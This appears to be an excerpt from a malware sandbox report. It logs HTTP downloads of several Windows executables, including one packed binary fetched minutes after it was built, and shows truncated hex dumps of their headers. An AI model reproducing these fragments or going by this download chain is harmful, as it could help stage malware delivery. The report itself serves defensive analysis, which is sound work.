d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 14:17:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 14:17:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 14:17:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 14:17:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 14:17:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 14:17:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 28 Nov 2024 14:17:58 GMTContent-Type: application/octet-streamContent-Length: 1886720Last-Modified: Thu, 28 Nov 2024 13:55:49 GMTConnection: keep-aliveETag: "67487665-1cca00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 e0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4b 00 00 04 00 00 1e 2b 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 cb 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 ca 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 6b 78 7a 79 6f 73 76 00 b0 19 00 00 20 31 00 00 ac 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 76 63 75 68 7a 6f 73 00 10 00 00 00 d0 4a 00 00 06 00 00 00 a2 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 